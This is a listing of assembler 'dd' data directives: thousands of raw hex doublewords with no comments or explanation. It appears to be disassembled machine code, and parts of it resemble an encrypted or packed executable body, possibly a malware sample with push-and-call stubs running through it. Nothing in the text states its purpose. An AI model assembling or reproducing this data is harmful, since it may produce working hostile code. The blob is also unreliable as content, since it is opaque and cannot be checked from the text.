		dd 0F3FB9B6h, 8Fh, 0E8815A00h, 3184F460h, 81F08B66h, 1FF1A8F0h
		dd 12E90Bh, 5FFD0000h, 6FDE9525h, 40D7F907h, 0E43A69Bh
		dd 8C6892DEh, 0F3B0489h, 0B88h,	6E900h,	44310000h, 0FB370CBFh
		dd 0F04EF83h, 1982h, 14E900h, 48A40000h, 0A61DDF2h, 3F767AB5h
		dd 0C827DD30h, 0BD1157AEh, 0FF814592h, 0FFFF9558h, 0FF70850Fh
		dd 8166FFFFh, 0EB7277D6h, 1329B04h, 595E93Dh, 39B80000h
		dd 0A44E5A26h, 30D7C3A1h, 0DB5B3755h, 42EEBAC6h, 0B1062D4Fh
		dd 8CECED89h, 0F1938E10h, 7B1918A5h, 0E381842Fh, 47015D70h
		dd 957C72B1h, 0FE855033h, 72FE8AFBh, 0E2811D7Fh, 79FA96E7h
		dd 0CF51EB7Ah, 2D7F7CD2h, 79138287h, 5857FFFAh,	3EE25911h
		dd 9027BEB5h, 24327A3Eh, 91394676h, 1918A5F1h, 8F822F7Bh
		dd 64F2A7FEh, 8B67902Fh, 0BF41D179h, 8032D5A2h,	7B9F14DBh
		dd 158DB9AFh, 9E1BF75Fh, 9CEDEC88h, 1263660Ch, 0F5971495h
		dd 881F1A99h, 7C163813h, 0D63C16h, 8EA2E373h, 0EAAD7624h
		dd 0E9C5AE56h, 76248EAFh, 84F5723Dh, 7E0392E7h,	4EBC431h
		dd 594F3CAEh, 0DDE1A2A2h, 7D78h, 0FE85A300h, 0C65856E8h
		dd 4C2D5ADBh, 6620BECFh, 92762432h, 17651211h, 0BEE5926Fh
		dd 68725F0Ch, 0EEDD8C33h, 0D5896EEFh, 0A7C53E16h, 11FDDE1h
		dd 84000000h, 0FC000B80h, 1E1CCE34h, 4C5AD8B8h,	5E2FACBBh
		dd 9ADEB047h, 267624ADh, 8321F159h, 1B9BE986h, 217D6E15h
		dd 7624AD67h, 0FC8D0A75h, 6A413EBFh, 8D24CBB0h,	24AD7731h
		dd 943A4576h, 197B7E04h, 6EF0E68Dh, 0E4650273h,	0F985FF84h
		dd 7BF98BF8h, 0F773017Eh, 51F785F2h, 0F889BC80h, 7BF832E8h
		dd 0B46B270Ah, 0D695E77Fh, 1636602h, 9AEBEE95h,	1D6A790Eh
		dd 0AF9946F0h, 0DDE17564h, 62BEh, 0EC80E500h, 2EEA4047h
		dd 0A7FE8F82h, 0C36B6E15h, 0A4D5B057h, 0BA6EDD8Dh, 4D593B3Eh
		dd 3431B3A1h, 0C8B92647h, 483938B8h, 0CBB8A738h, 413E3BB9h
		dd 43984739h, 594F3CAEh, 0DDE110B2h, 3968h, 0F985B300h
		dd 7CF98BF8h, 67D35189h, 43C08D00h, 62D99532h, 0A83F32BEh
		dd 3DFBBD11h, 0AEC97624h, 85DB7808h, 3D8DFAFFh,	76243278h
		dd 80A41BD7h, 0DDE10E9Bh, 141h,	0E285DA00h, 0D23B70E7h
		dd 0BEADE62Dh, 0C05AD3Fh, 1B983E7Fh, 9EEFEA89h,	26787D02h
		dd 76250B62h, 0F380016Eh, 0B8ECAA4h, 5D5A7625h,	633B38CFh
		dd 76250C25h, 677F4B3h,	7BB06F43h, 3BE15E1Ch, 0F3DBB9A4h
		dd 3B9302C8h, 7C6D1F8Eh, 39D0A95Ah, 156E6303h, 81133Fh
		dd 87822173h, 0F0AA9E5h, 0B7A6E07Eh, 76217C6Ch,	2D5A59DAh
		dd 5356DC4Ch, 0F3ED4522h, 4B5FE40Ch, 0DFDCADA8h, 0DD66325Eh
		dd 0D65732D5h, 2D28CBD9h, 0ADA44C5Ch, 2C3BCCDCh, 0F9A6145Fh
		dd 0C4B5B033h, 15A026A7h, 17ECE19Ch, 0E9A7F4Ah,	9F1C6D78h
		dd 12C68537h, 66F69291h, 0DBA917BDh, 14667h, 0B80BC00h
		dd 0C2373101h, 2309F6DDh, 6315612Fh, 0C7F04CE2h, 1936E16h
		dd 6FE66762h, 6CC2D61Fh, 0F485E27Ch, 0E776E8A1h, 49067782h
		dd 0B7B231E1h, 1A776B20h, 49E977BDh, 0F25845DBh, 3A39BAD6h
		dd 0B1B43F4Dh, 1BC0BAC0h, 355752D1h, 0A9A07EA5h, 4EA4DBh
		dd 0B9FF0000h, 704ED97Bh, 76243388h, 0A03CABD4h, 0DAA001Fh
		dd 2432FBBDh, 8D8C2976h, 0E01ACFCh, 0E8572971h,	6DD2E853h
		dd 9007BDFBh, 2432CA3Eh, 0C659F376h, 65CDAADBh,	574E2A55h
		dd 32AAEEC0h, 5A367624h, 0CFACDDD8h, 0A4CAE84Eh, 49000000h
		dd 49DC7EB9h, 6C4EBC75h, 1E6F087Ch, 86E2E182h, 1D6A690Ah
		dd 6C4F064Dh, 0CEBD317Ch, 0FE9A991Ah, 0B013A59Eh, 0A22AC424h
		dd 16AA3DBAh, 87E49570h, 28FABE10h, 0B9C67C6Dh,	9E2A8411h
		dd 0AF82BBA6h, 40B334FAh, 9A22F116h, 0AAA9DE75h, 6414BA3Bh
		dd 0FF178C1Bh, 5356D23Ah, 0E751E526h, 0BB55204Fh, 0DF483924h
		dd 746F4749h, 5FF77449h, 443530B3h, 0CEA08934h,	762A808Ah
		dd 0DBA82956h, 5C2D2CC9h, 2227CD5Fh, 0FFAC1E55h, 2C935F26h
		dd 0CA5DFF38h, 86C29C33h, 52762A80h, 0C9DFFD55h, 177C78FEh
		dd 0B96B0868h, 7549DC7Eh, 7C72B163h, 0EBB9F6B1h, 45035B48h
		dd 937C72B1h, 9CF59714h, 0B0EFA905h, 0B2FD7C72h, 6D5B47C1h
		dd 5AD4E1Bh, 9AEBEE95h,	0F5F4710Bh, 33BD7F5Dh, 23B2B7C2h
		dd 0DF99F58Ch, 0EDB3262Eh, 2E94D482h, 5C27B326h, 8E2298B8h
		dd 1A9D6A2h, 0B64D904Fh, 253CA0D8h, 0D1432CB3h,	42235051h
		dd 80872CECh, 0FAFF7B15h, 3A46EC8Dh, 5653D16Bh,	94931080h
		dd 0C1C46F01h, 5C5BF3B0h, 90CB749h, 7071F1A1h, 5011ACE5h
		dd 7AAFE9C5h, 723DB325h, 0D42F1401h, 9C23717Eh,	9B81C797h
		dd 204FB325h, 3DC6D2A3h, 0A8624926h, 9F5B3AF3h,	7C7BF820h
		dd 90EE851Ch, 0B3259BD8h, 67339BE4h, 3AA8D9DCh,	0Fh, 0C7FA366Bh
		dd 255E5BD9h, 5EF47FF4h, 85DA4145h, 494E5FCh, 790B787Fh
		dd 0FC8CFDFCh, 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh
		dd 6B397655h, 0B9BFCCC9h, 81E68956h, 4C6h, 4EE8100h, 87000000h
		dd 895C2434h, 89522414h, 4C281E2h, 83000000h, 148704EAh
		dd 0C895C24h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
		dd 241C895Ch, 4542BA52h, 54B95DA5h, 29714ABEh, 0E1815AD1h
		dd 574028C8h, 0C181D9F7h, 34860B73h, 35E98149h,	541B3765h
		dd 83241C8Bh, 0B85004C4h, 8, 0F71E902Dh, 5D80130h, 30F71E90h
		dd 8B580889h, 8950241Ch, 405E0h, 4050000h, 87000000h, 8B5C2404h
		dd 8950240Ch, 405E0h, 0C0830000h, 24048704h, 0FAABE95Ch
		dd 0AF8FFFF9h, 0B16C3446h, 0B84C006Ah, 64E8323h, 0E0FFC503h
		dd 1DA9D200h, 22A8665Fh, 2CAB84Eh, 32E13A59h, 6B6DE7Ah
		dd 5CDD6502h, 7FF0DB24h, 7EC1E7C2h, 1BA5ECD3h, 7D850FDDh
		dd 7738A818h, 78B08100h, 3990132Ah, 250A6512h, 85008D8Dh
		dd 6A064Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0FA5806C3h, 0F42B6AEAh, 0DE81C25h, 80000000h
		dd 0D479C5ADh, 0A0AC1CBFh, 372C1A7Ch, 8A37F081h, 89586ADCh
		dd 4814058Dh, 2585C706h, 78064830h, 0F000065h, 688h, 0BE665300h
		dd 0C75FE154h, 482AD985h, 6, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0BF0F5333h
		dd 0B5FF5FDFh, 6480D3Dh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 39C35141h, 800F76AEh,	6, 9456CF81h, 95FF21C4h
		dd 6480E71h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	0C2C35747h, 0A60E3BEBh,	0E100B598h, 6AC8B0h, 92D95FFh
		dd 0C08B0648h, 12021BEBh, 0F056A975h, 0B6F34A67h, 0C53CD26Dh
		dd 0C0A5CE12h, 9E6DCA2Bh, 7C13D98h, 0CD04EBEBh,	0E93D3A99h
		dd 86Bh, 680807AEh, 0D1B3B63Ch,	452722C5h, 0C8A8A949h
		dd 335150DCh, 0FF7B4310h, 7C029EFAh, 0EA970361h, 9A197517h
		dd 4F66FD9Fh, 72B8397Fh, 6621877Ch, 2432FE47h, 8A892A76h
		dd 17B58EEEh, 5C732E80h, 307F7C6Ch, 0B4B53143h,	2A3BB8D4h
		dd 6C5D1454h, 46C7A07Ch, 22C25E29h, 3E2BBD2Fh, 7C7BF898h
		dd 4605770Fh, 83121192h, 4421300Eh, 268CF83Ch, 0AE09F29Ah
		dd 95D3DBA9h, 0BA000000h, 30869D26h, 0EBF98597h, 0DDC85F49h
		dd 0D7AEDF5Ch, 10A6A345h, 94E5E480h, 9667904h, 6EFAFF7Bh
		dd 0CBBECFC2h, 6BF308F7h, 0FA86AA11h, 42D970E7h, 24332C6Ch
		dd 0AFFFB876h, 762432E9h, 1A1F9BF7h, 1D8F0C6Dh,	0AC3C9297h
		dd 0E112170Ch, 42CDDDh,	80560000h, 0D24E41ECh, 47245550h
		dd 828723EFh, 8FE9A2F5h, 0A1BC42C1h, 87A6D3D0h,	0E3F15995h
		dd 762434A2h, 30B24EC1h, 7C239D35h, 9E0908B4h, 99B6202h
		dd 65212F63h, 545522A3h, 5054E2FEh, 0B3000000h,	0B157E980h
		dd 32C286D4h, 610E7624h, 32E098F6h, 83EC7624h, 0CEC36F2Bh
		dd 326521B1h, 0D937624h, 8F116310h, 0CBEE592h, 0AEF9865Fh
		dd 3B939612h, 6A16DA81h, 658B0097h, 5B1D7199h, 69762530h
		dd 0B5B0750Eh, 3B8D4730h, 9BF749ABh, 800C9733h,	32D395E9h
		dd 86E17624h, 0B9635C30h, 0AE00972Eh, 762432EAh, 0E6927116h
		dd 4EA33199h, 9A7C6C62h, 82196C1Dh, 6C616C2Ch, 973F787Ch
		dd 1B7964FBh, 874EF68Ah, 4EE31AD5h, 60119EAEh, 58EFAB03h
		dd 67503C4Dh, 5D5C32A5h, 0C82B530h, 2B5F1975h, 26D7625h
		dd 0F5700CACh, 50F785F2h, 677F475h, 0BBC8CF6Ah,	3F4C4DE9h
		dd 91561567h, 588744F6h, 892B3FC4h, 0EBA70F8Ch,	0C6C55A54h
		dd 0D86F3B59h, 55901F39h, 5E59211Bh, 19156E0Eh,	0BB2AAB7Fh
		dd 30868321h, 4B853383h, 209A7624h, 252EB17Bh, 244C0F49h
		dd 55D2DD76h, 7FB9AC37h, 0FD66B8DDh, 9EFBFE85h,	9279EE75h
		dd 48D8E11Ah, 3Fh, 0DD7FB9D3h, 760B80B8h, 0B638221h, 7648CD65h
		dd 7624BF32h, 8094F1BEh, 32D395E9h, 86E17624h, 853C6530h
		dd 0F482E7E2h, 8FFEE49Dh, 3355053Ah, 9B7F581h, 0F45ADB2Fh
		dd 3067D3h, 0B9FC0000h,	80B8DD7Fh, 24326A2Eh, 9C0B7076h
		dd 32EFA905h, 0B2FD7624h, 0B808B1Ch, 0F70063F4h, 0B461C9D6h
		dd 5AEC80EFh, 0D9713E4Fh, 0DEBBA639h, 0FE856FF4h, 0E4376CFBh
		dd 0DC9CF23Bh, 0E876248Eh, 56EDFA8Fh, 4D5857FFh, 9A991AB6h
		dd 9ADE8CEDh, 26762473h, 13E3F159h, 0A57628F5h,	0FABE1003h
		dd 0C67628F2h, 394B38B9h, 0B6CCBDBCh, 0BCE07C4h, 706FF08Ch
		dd 0F13BE0DAh, 79157772h, 0FD8FFCFDh, 4BE57071h, 0CDDFACA9h
		dd 9A12E3Bh, 0E55A146Ah, 0D2BEB33Fh, 0E5CEC13Ah, 481BDDh
		dd 80800000h, 32D395E9h, 86E17624h, 0D7C36030h,	0D9D6572Ah
		dd 970ECCF7h, 6C3E0AC7h, 328C237Ch, 7C6C3D76h, 0ED8D2542h
		dd 1BA7F582h, 981B6906h, 15C5EC9Dh, 0E05A9156h,	0CBBFF43Bh
		dd 9D67E924h, 0A241D179h, 0B73413B4h, 0E9804ED5h, 2432D395h
		dd 3086E176h, 0B7C4C360h, 0A93CDED9h, 6C5520D5h, 0A9CBB47Ch
		dd 297FB90Ah, 1948622Ch, 47DEAB45h, 0B3226DEFh,	664025A2h
		dd 41EC80FDh, 33420658h, 0E18E7624h, 3C921360h,	0E8C6D75Ch
		dd 762432B0h, 91F2733Ch, 9279EE75h, 48D8E11Ah, 4Fh, 0DD7FB9D3h
		dd 360DB64Ah, 0F1923879h, 326A2E80h, 1A767624h,	89F6879Ah
		dd 60039D08h, 3F971465h, 46EC80A4h, 0DD753243h,	0E2855338h
		dd 9DF482E7h, 6CF148E4h, 75DDE80Bh, 346752h, 950E0000h
		dd 8C0CC9E8h, 0EB2B5C77h, 461F09E2h, 0B97E09A1h, 80B8DD7Fh
		dd 24326A2Eh, 6E0B7076h, 0EC801B80h, 35E54D44h,	6B20B792h
		dd 0F9115AE3h, 4063CBE9h, 0FE856FF4h, 0EA3C8AFBh, 0DE7628B3h
		dd 522E5F52h, 0D8AEDFD2h, 29E039E6h, 0DD668A71h, 42EEBAC6h
		dd 0ACDDD45Ch, 63314ECFh, 0EDB5C2C7h, 78042C93h, 0D252EE79h
		dd 57D2AEDFh, 6F7BD350h, 0E58F54CFh, 5A8EDDh, 55E70000h
		dd 0D8D9D6B3h, 0DFACAB48h, 856F78DEh, 0C28AFBFEh, 0B5BE40F9h
		dd 24329FD9h, 0C5422D76h, 44FDD144h, 807C6C4Eh,	7EFA96E7h
		dd 4D57116Dh, 1A657C6Ch, 0A9CEC9Dh, 974B6E1Fh, 62D81328h
		dd 83DB72BDh, 7C6C4DC5h, 6D16013h, 0C36BCE7h, 0C86B278Fh
		dd 5AF6AFCDh, 5073DBDEh, 5D41EC80h, 0C5A2D3D6h,	8122EE44h
		dd 0A09BF582h, 72136BFAh, 467C6C63h, 0B9B85B39h, 0B34ADD7Fh
		dd 0B2C586FEh, 49196CC7h, 76245E0Fh, 2623C1DDh,	3AB2849h
		dd 80FD6660h, 0E84E41ECh, 99F8B28h, 810E6F1Ch, 0FBFE7A16h
		dd 2245ED8Ah, 9279EE75h, 48D8E11Ah, 35h, 0DD7FB9D3h, 3802514Ah
		dd 4B4F036h, 0FAF643C2h, 0E54DCA3Eh, 6A2E80C2h,	93762432h
		dd 0E132D31Eh, 64CAF4FAh, 804E2B54h, 0E7E2851Bh, 676FF482h
		dd 2Bh,	0DD7FB9FCh, 6A2E80B8h, 70762432h, 3307411Dh, 0B9D57624h
		dd 2E4F3C3Dh, 804720A1h, 0F4E2851Bh, 0DBDE5B4Fh, 0CF4C2D5Ah
		dd 856FF4AAh, 3C8AFBFEh, 7628B3EAh, 2E5F52DEh, 0A2D3D652h
		dd 0D41CC3FFh, 61A82928h, 852EF2A9h, 0DB6E28Eh,	2C177936h
		dd 0EB7FCD9Ah, 0B828E098h, 2B483938h, 22633BAAh, 0B67C70F4h
		dd 81FAABC9h, 6E405796h, 7C70732Ah, 74BCC9B6h, 0C5DE741Ch
		dd 0B8DD7FB9h, 0F67D0F66h, 4DE582F3h, 0E8FE853Ah, 7D3A4B56h
		dd 0EC809BFCh, 4305595Ah, 91762433h, 0A1C16916h, 1A927902h
		dd 5B48D8E1h, 0D3000000h, 4ADD7FB9h, 9EAE3851h,	251C88C0h
		dd 5E2B5476h, 0DC4C397Ch, 0E8FB5356h, 326A2E80h, 9767624h
		dd 57E9806Ch, 0D0A7D4B1h, 2432BAFEh, 0F8790676h, 0E2853152h
		dd 4E3B70E7h, 0F94C6A4Eh, 0B9A57B68h, 0DE5F2C8Dh, 0EC806F78h
		dd 58E94140h, 2967BBh, 720E0000h, 0E283F0F7h, 7FB93B4Ch
		dd 2E80B8DDh, 7624326Ah, 806E0B70h, 0A8AD57E9h,	0E2856102h
		dd 9DF482E7h, 13607D03h, 85AB3C92h, 4948E8FEh, 57116D38h
		dd 65762432h, 6F1C9D1Ah, 28B407DFh, 4D32E876h, 7B191CA7h
		dd 16ED962Ah, 0E6B21899h, 6729465Dh, 0F1AAD5Ch,	25B0317Eh
		dd 7F72F28Eh, 6127770Eh, 6F7628B3h, 0AD2B8300h,	7C70C444h
		dd 98D0AE45h, 247C70C3h, 0B8C7F35Bh, 7FB93BD8h,	0FD66B8DDh
		dd 9EFBFE85h, 0EC80EE75h, 72334047h, 1A4BC0DCh,	3391D8E1h
		dd 0A000000h, 0AA57E980h, 32C187D7h, 600F7624h,	804A72CAh
		dd 6A2E80E7h, 76762432h, 1B806C09h, 4C5BEC80h, 0B6952AE6h
		dd 806FF4EDh, 0E94140ECh, 16CBh, 7FB94800h, 2E80B8DDh
		dd 7624326Ah, 806E0B70h, 0E7E2851Bh, 856FF482h,	0FB8AFBFEh
		dd 334E0A64h, 1D9A7624h, 3CDED9B5h, 38C0D5A9h, 6B147C6Ch
		dd 78049809h, 0C36B0879h, 1B8A506Bh, 0BABE2343h, 0FD8AF582h
		dd 971204AFh, 25711390h, 750C9B9Eh, 2AB55F19h, 0E1E08D76h
		dd 6611390h, 0FFB303B0h, 29B19EC9h, 0ADFF8C8Dh,	23710E1Bh
		dd 8C3E8580h, 946D15DFh, 0B16EDC17h, 5ACDC86Bh,	6ED73EC6h
		dd 67808A5Bh, 5F6BC340h, 0DBB3A043h, 0B196629Dh, 81D8732Ch
		dd 2652B692h, 0D9ABD859h, 33CD5859h, 9D1AB0ADh,	6AEEA3FAh
		dd 56126C18h, 62B196B1h, 11997005h, 3D3CB92Bh, 0D5872F4Ch
		dd 2221C216h, 0AAA94A46h, 3DD1CADDh, 13169CB1h,	2AE09A66h
		dd 3F684h, 416D0000h, 0E5FC85DAh, 787F0494h, 0FDFC790Bh
		dd 7F6AFC8Ch, 0F3F6720Eh, 774AF682h, 0F7CA6A06h, 7655EA86h
		dd 0CCC96B39h, 4C68B9BFh, 89000021h
		dd 0BF572424h, 4, 4247C01h, 79B0685Fh, 3C890000h, 0E7895724h
		dd 4C781h, 0EF830000h, 243C8704h, 242C895Ch, 2BBF5751h
		dd 89064E85h, 0CF895FF9h, 2C8B5459h, 4C48324h, 8BB53h
		dd 0EB010000h, 89FE8956h, 0FF5B5E33h, 835D2434h, 3C8B04C4h
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 0F0E3E95Ch
		dd 0BC50FFF9h, 0B8D161B2h, 64E8D21h, 0E0FFC503h, 6EE51F74h
		dd 79E8B2A7h, 1F9628E6h, 7F6C153Eh, 61394B78h, 64F6EF4Eh
		dd 2CBC7F1Ch, 2747E0EDh, 3BA26181h, 8E618D8Dh, 6A064Eh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0B50108C3h, 6480F59h, 89F3B70Fh, 4814058Dh, 41DB8106h
		dd 0C7333393h, 48302585h, 71DC06h, 19BD8900h, 0C7064829h
		dd 482AD985h, 6, 5800F00h, 66000000h, 0E7B8C881h, 17B5B5FFh
		dd 870F0648h, 5, 6EB8166h, 7195FF62h, 6A06480Eh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 6C11C356h, 75BD8BDCh, 6A064812h, 2D95FF00h, 8B064809h
		dd 6F4DEBC0h, 0C9250B5Dh, 0C9C4912Ah, 491EA6Bh,	47CFFB84h
		dd 9E1995FEh, 0EC472DECh, 0BF49A384h, 671DA23Bh, 7695F91h
		dd 0B32DA003h, 22BE632Ah, 1192EF3h, 7FEAD191h, 1C49EE3Dh
		dd 0AF88CFF6h, 0B7A84299h, 0E34551F4h, 6A1698F1h, 0A4720E4Fh
		dd 0DE8h, 0F3B14700h, 0E2099767h, 28A5663Ah, 59F8227Eh
		dd 3800Fh, 0C2800000h, 86C18166h, 6600005Dh, 0C3BED68Bh
		dd 8166941Ch, 6BFA73C6h, 658D8999h, 0FF064813h,	13E931h
		dd 5CDB0000h, 0BF401B70h, 800A2AA8h, 1455F37Fh,	0D477406h
		dd 8B605874h, 4831B185h, 9D858906h, 61064830h, 31AAF081h
		dd 0BD8B3CB1h, 648123Dh, 30C7F081h, 0BD290924h,	64811A1h
		dd 0AF81E881h, 0E95250C5h, 0Fh,	6BC9C491h, 840491EAh, 0FE47CFFBh
		dd 5B9E1995h, 0E1B52950h, 8F064814h, 81950901h,	83064811h
		dd 8B6604E9h, 1EE83DFh,	0FF85850Fh, 7BBAFFFFh, 8D0C7677h
		dd 4E8FE28Dh, 0DF816606h, 8D89BFE7h, 6481405h, 12759589h
		dd 85C70648h, 6483025h,	6B08h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 32C35343h, 5B7E73C8h, 259D896Fh
		dd 0C7064817h, 482AD985h, 6, 0F7BF0F00h, 1A1DB5FFh, 51520648h
		dd 22B19D33h, 5E5F0648h, 0E7195FFh, 0B5010648h,	6482985h
		dd 95FF006Ah, 648092Dh,	1AEBC08Bh, 41A19B51h, 0EF95CF2h
		dd 0CFA6CF74h, 0D1C8A0B8h, 0DD7E1DE3h, 0C5293515h, 8D8D6C3Dh
		dd 64E9117h, 6880Fh, 0BD010000h, 64822B1h, 8D8940B4h, 6481405h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EEC35646h
		dd 3AAF936Ch, 0AC54B2A1h, 27C28166h, 0B86660DFh, 9D8B5160h
		dd 64829C5h, 2585C761h,	50064830h, 6A000068h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 4852C350h, 39B0B4C0h, 78D0Fh, 66570000h, 0F592DE81h
		dd 0D985C75Bh, 6482Ah, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0C365C350h
		dd 0C17A5E04h, 6EF480A6h, 1A1DB5FFh, 6A0648h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0B3D138C3h
		dd 0AE3508AEh, 1999958Bh, 95FF0648h, 6480E71h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0FC35141h, 8B6A092Fh
		dd 481A9195h, 0FF006A06h, 48092D95h, 0EBC08B06h, 8325B1Ah
		dd 71B69F89h, 311A5BABh, 547F0BFFh, 273C141Bh, 0B600B4F1h
		dd 0E818A2ACh, 8, 0E12989EAh, 0B8B6C4E8h, 16C9BD8Bh, 295E0648h
		dd 482B6585h, 51C68106h, 0BB00006Fh, 6C5D44A6h,	1BB7B8h
		dd 8BD98B00h, 0AE916h, 3300000h, 0D22F725Bh, 37DB2776h
		dd 0EFD0EA81h, 0FA8A7A2Bh, 4DE4C281h, 9D8B6CEFh, 6480B21h
		dd 0C7A2EA81h, 0BD892C9Eh, 6482C29h, 5830F52h, 66000000h
		dd 0F71DCF81h, 0ED80068Fh, 4EE8342h, 68D8589h, 0F480648h
		dd 0FFFFAE85h, 0A28D8DFFh, 6A064E92h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 8DAAC357h
		dd 89CBE14Ah, 4814058Dh, 2585C706h, 90064830h, 6A000072h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 159AC356h, 866F578Ch, 85C7F913h, 6482AD9h
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 73C35545h
		dd 0BD8B69C0h, 64811A9h, 1221B5FFh, 6A0648h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0ECE32AC3h
		dd 3C21BE00h, 819908A2h, 0E8B426D3h, 7195FF55h,	6A06480Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 166FC356h, 54E63DC7h, 0E2D64AB0h,	0DED880F8h
		dd 95FF006Ah, 648092Dh,	3AEBC08Bh, 748D8466h, 7216D044h
		dd 538E009Ch, 785864B8h, 0D1ED2C58h, 66D76F2Eh,	0F84C81B8h
		dd 2AC2050Eh, 0C689315Ch, 85E9BBADh, 0EBF7F614h, 0B9D7381Eh
		dd 25150DEEh, 7A3C1953h, 5FE99517h, 52000001h, 0E860D48Bh
		dd 0
		dd 0EFED815Dh, 8B064E92h, 453D0842h, 0F782638h,	13885h
		dd 0C428B00h, 0D3184A8Bh, 0F778BBC8h, 0C33336F8h, 8904E883h
		dd 48140585h, 4588B06h,	428BF88Bh, 184A8B10h, 27BEC8D3h
		dd 33887C13h, 83C72BC6h, 0E883FCE0h, 25858904h,	8B064830h
		dd 85891442h, 6482AD9h,	5318428Bh, 0B0E9h, 39B5FF00h, 0E906480Ch
		dd 0B9h, 0F1DB5FFh, 0AEE90648h,	0FF000000h, 481A1DB5h
		dd 0A3E906h, 0B5FF0000h, 64827D9h, 98E9h, 3DB5FF00h, 0E906480Dh
		dd 8Dh,	915B5FFh, 82E90648h, 0FF000000h, 481221B5h, 77E906h
		dd 0B5FF0000h, 6481BD5h, 6CE9h,	0FDB5FF00h, 0E9064806h
		dd 61h,	2FB5B5FFh, 56E90648h, 0FF000000h, 480C99B5h, 4BE906h
		dd 0B5FF0000h, 6480E25h, 40E9h,	71B5FF00h, 0E906481Bh
		dd 35h,	17B5B5FFh, 2AE90648h, 0FF000000h, 48283DB5h, 1FE906h
		dd 0B5FF0000h, 648184Dh, 14E9h,	0B8D88B00h, 0Bh, 8DE3F766h
		dd 4E93508Dh, 0FFC80306h, 7195FFE1h, 5B06480Eh,	1405858Bh
		dd 58390648h, 0F850F04h, 53000000h, 95FF016Ah, 648092Dh
		dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh
		dd 6482861h, 943E8D8Dh,	4189064Eh, 8DC38B01h, 4E94E98Dh
		dd 0B0BA6606h, 58D8984h, 6A064814h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 17B0C356h
		dd 9464A48Bh, 95C06F41h, 9AE8BF66h, 302585C7h, 5D100648h
		dd 85290000h, 6482F69h,	2AD985C7h, 648h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 963FECC3h, 0DF81F88Ah, 396EB908h, 283DB5FFh,	0FFF90648h
		dd 480E7195h, 0A9858906h, 6A064823h, 2D95FF00h,	8B064809h
		dd 0E73DEBC0h, 55BC293Ah, 0E7E20447h, 72DB44DDh, 0C2B983AFh
		dd 0EFA82AD6h, 0F8876A9Eh, 0DAC82303h, 0B8A45F76h, 0BD7484DFh
		dd 9665657h, 4B2C8E23h,	0C54061F3h, 0FDB59FDEh,	0C8C66AC7h
		dd 6DA8B807h, 0FF985C6h, 68560648h, 0A9C530DFh,	29A9B5FFh
		dd 858D0648h, 64B7F60h,	8D8DD0FFh, 64811C1h, 0FF406A51h
		dd 480A01B5h, 0D9B5FF06h, 0FF064819h, 1B5FFD0h,	0FF06480Ah
		dd 4819D9B5h, 5E806h, 2BCE0000h, 5F79AF68h, 4EF835Fh, 2242CC1h
		dd 22424C1h, 0F7243C03h, 0F62B241Ch, 81371C8Bh,	4211A0EBh
		dd 0D8F3815Ah, 814AABC1h, 8BF637C3h, 371C897Ah,	4E01EE83h
		dd 343B4E4Eh, 0D9850F24h, 8DFFFFFFh, 481A319Dh,	0B038B06h
		dd 7840FC0h, 8B000000h,	45B8B03h, 0C98B1889h, 12E8h, 0BE224B00h
		dd 6BC139D3h, 0D8679E22h, 0E03A0CD4h, 0E9F2ABE2h, 0Bh
		dd 0A8CCFFDCh, 0FB333A91h, 587C64CCh, 7110C081h, 0D22B0000h
		dd 6E86060h, 2C000000h,	0CCCF7AC4h, 81665A18h, 61287AC3h
		dd 0FE9h, 397C1500h, 591A7324h,	0BE6ED6AEh, 2BFC1E07h
		dd 100C8B61h, 0A95CF781h, 0E9816E4Eh, 3A7A5AC0h, 0C181F98Bh
		dd 5577C8B1h, 0BA16E981h, 6FBF365Eh, 5161B3A5h,	0AF40BE66h
		dd 0E910048Fh, 11h, 0AB23D44Dh,	0E89F1B7Dh, 85651462h
		dd 0C70E4A98h, 4EA83E5h, 12E9h,	2DE3A100h, 4EF3C284h, 0CB402765h
		dd 16916C14h, 8178F001h, 0FF8FB0FAh, 9A850FFFh,	60FFFFFFh
		dd 0D7F377BBh, 3CC28000h, 0ABE961h, 8D500000h, 0B11C3F2Eh
		dd 0ABDA5F72h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh
		dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h,	0A19692A5h
		dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h,	95ACA3F2h
		dd 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh,	0D0008A92h
		dd 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h
		dd 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh
